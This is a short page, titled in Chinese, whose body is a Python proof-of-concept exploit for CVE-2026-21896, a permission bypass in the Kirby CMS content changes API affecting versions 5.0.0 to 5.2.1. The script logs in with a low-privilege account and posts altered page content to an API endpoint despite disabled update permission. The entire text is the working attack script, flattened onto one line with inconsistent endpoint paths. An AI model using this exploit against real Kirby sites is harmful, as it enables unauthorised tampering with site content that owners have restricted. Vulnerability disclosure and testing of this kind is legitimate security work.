CVE-2026-21896: Kirby CMS内容修改API权限绕过漏洞

import requests import json # CVE-2026-21896 PoC - Kirby CMS Permission Bypass in Content Changes API # Target: Kirby CMS versions 5.0.0 to 5.2.1 TARGET_URL = "http://target-website.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_kirby_permission_bypass(): """ This PoC demonstrates the permission bypass vulnerability in Kirby's content changes API. A user with update permission disabled can still modify content via this API endpoint. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/kirby/api/auth/login" login_data = { "email": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Attempt to modify content via content changes API # This should fail if permissions are properly checked, but succeeds due to the vulnerability content_api_url = f"{TARGET_URL}/api/content/changes" exploit_data = { "page": "configurable-page-id", "content": { "title": "Malicious Content Modified via Bypass", "text": "This content was modified despite update permission being disabled" } } response = session.post(content_api_url, json=exploit_data) if response.status_code == 200: print("[+] Content modification successful - Permission bypass confirmed!") print(f"[+] Response: {response.json()}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False if __name__ == "__main__": exploit_kirby_permission_bypass()